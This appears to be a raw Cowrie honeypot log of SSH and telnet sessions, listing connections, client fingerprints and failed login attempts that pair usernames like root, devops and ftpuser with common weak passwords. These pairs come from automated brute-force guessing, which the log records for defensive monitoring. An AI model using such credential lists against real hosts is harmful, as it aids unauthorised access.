{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:40.048457Z","src_ip":"168.167.228.74","session":"c7a45fc8e00e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2002","message":"login attempt [root/2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:41.091845Z","src_ip":"168.167.228.74","session":"c7a45fc8e00e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:41.699976Z","src_ip":"91.92.42.227","session":"67c93f8b37d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:41.703184Z","src_ip":"91.92.42.227","session":"67c93f8b37d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:42.344853Z","src_ip":"168.167.228.74","session":"c7a45fc8e00e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:42.907172Z","src_ip":"91.92.42.227","session":"b811c220eeb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36764,"dst_ip":"10.17.0.5","dst_port":22,"session":"74e443e092ce","protocol":"ssh","message":"New connection: 91.92.42.227:36764 (10.17.0.5:22) [session: 74e443e092ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:46.835754Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:47.712274Z","src_ip":"91.92.42.227","session":"67c93f8b37d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39760,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa0624f3745","protocol":"telnet","message":"New connection: 94.23.66.112:39760 (10.17.0.5:23) [session: caa0624f3745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:48.225919Z"}
{"eventid":"cowrie.session.closed","duration":0.00429987907409668,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:48.229998Z","src_ip":"94.23.66.112","session":"caa0624f3745","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:48.344068Z","src_ip":"91.92.42.227","session":"74e443e092ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:48.347397Z","src_ip":"91.92.42.227","session":"74e443e092ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:51.065862Z","src_ip":"91.92.42.227","session":"67c93f8b37d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59292,"dst_ip":"10.17.0.5","dst_port":23,"session":"717f86bee95b","protocol":"telnet","message":"New connection: 172.81.62.90:59292 (10.17.0.5:23) [session: 717f86bee95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:53.296615Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36846,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b4dd9a613f4","protocol":"ssh","message":"New connection: 91.92.42.227:36846 (10.17.0.5:22) [session: 1b4dd9a613f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:53.520658Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":57934,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b8b1593dbc4","protocol":"telnet","message":"New connection: 102.37.220.188:57934 (159.203.135.109:23) [session: 5b8b1593dbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:54.941556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:55.314876Z","src_ip":"91.92.42.227","session":"1b4dd9a613f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:55.317877Z","src_ip":"91.92.42.227","session":"1b4dd9a613f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"root","message":"login attempt [myuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:56.259924Z","src_ip":"91.92.42.227","session":"74e443e092ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:18:59.881161Z","src_ip":"91.92.42.227","session":"74e443e092ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":41862,"dst_ip":"159.203.135.109","dst_port":22,"session":"a083e0634c72","protocol":"ssh","message":"New connection: 103.82.20.28:41862 (159.203.135.109:22) [session: a083e0634c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:00.015924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:00.019333Z","src_ip":"103.82.20.28","session":"a083e0634c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:00.289452Z","src_ip":"103.82.20.28","session":"a083e0634c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43832,"dst_ip":"10.17.0.5","dst_port":22,"session":"52c0c581fd63","protocol":"ssh","message":"New connection: 91.92.42.227:43832 (10.17.0.5:22) [session: 52c0c581fd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:00.889829Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"180892","message":"login attempt [root/180892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:01.105319Z","src_ip":"103.82.20.28","session":"a083e0634c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:02.379102Z","src_ip":"103.82.20.28","session":"a083e0634c72","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:02.679536Z","src_ip":"91.92.42.227","session":"52c0c581fd63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:02.683122Z","src_ip":"91.92.42.227","session":"52c0c581fd63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456789","message":"login attempt [devops/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:03.562802Z","src_ip":"91.92.42.227","session":"1b4dd9a613f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.266364574432373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:05.207691Z","src_ip":"166.62.124.255","session":"e1c768adce71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52478,"dst_ip":"10.17.0.5","dst_port":22,"session":"58717064988f","protocol":"ssh","message":"New connection: 27.71.230.31:52478 (10.17.0.5:22) [session: 58717064988f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:05.502819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:05.960200Z","src_ip":"27.71.230.31","session":"58717064988f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:06.455888Z","src_ip":"91.92.42.227","session":"1b4dd9a613f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:06.869613Z","src_ip":"27.71.230.31","session":"58717064988f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45992,"dst_ip":"10.17.0.5","dst_port":22,"session":"152ce2698bfe","protocol":"ssh","message":"New connection: 91.92.42.227:45992 (10.17.0.5:22) [session: 152ce2698bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:07.772909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:10.159719Z","src_ip":"91.92.42.227","session":"152ce2698bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:10.161959Z","src_ip":"91.92.42.227","session":"152ce2698bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user","message":"login attempt [root/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:10.294205Z","src_ip":"27.71.230.31","session":"58717064988f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456789","message":"login attempt [ftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:11.437160Z","src_ip":"91.92.42.227","session":"52c0c581fd63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:11.590247Z","src_ip":"27.71.230.31","session":"58717064988f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46030,"dst_ip":"10.17.0.5","dst_port":22,"session":"113e1056ab3b","protocol":"ssh","message":"New connection: 91.92.42.227:46030 (10.17.0.5:22) [session: 113e1056ab3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:14.361758Z"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:14.617715Z","src_ip":"91.92.42.227","session":"52c0c581fd63","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:19:16.589104Z","src_ip":"91.92.42.227","session":"113e1056ab3b","protocol":"ssh"}
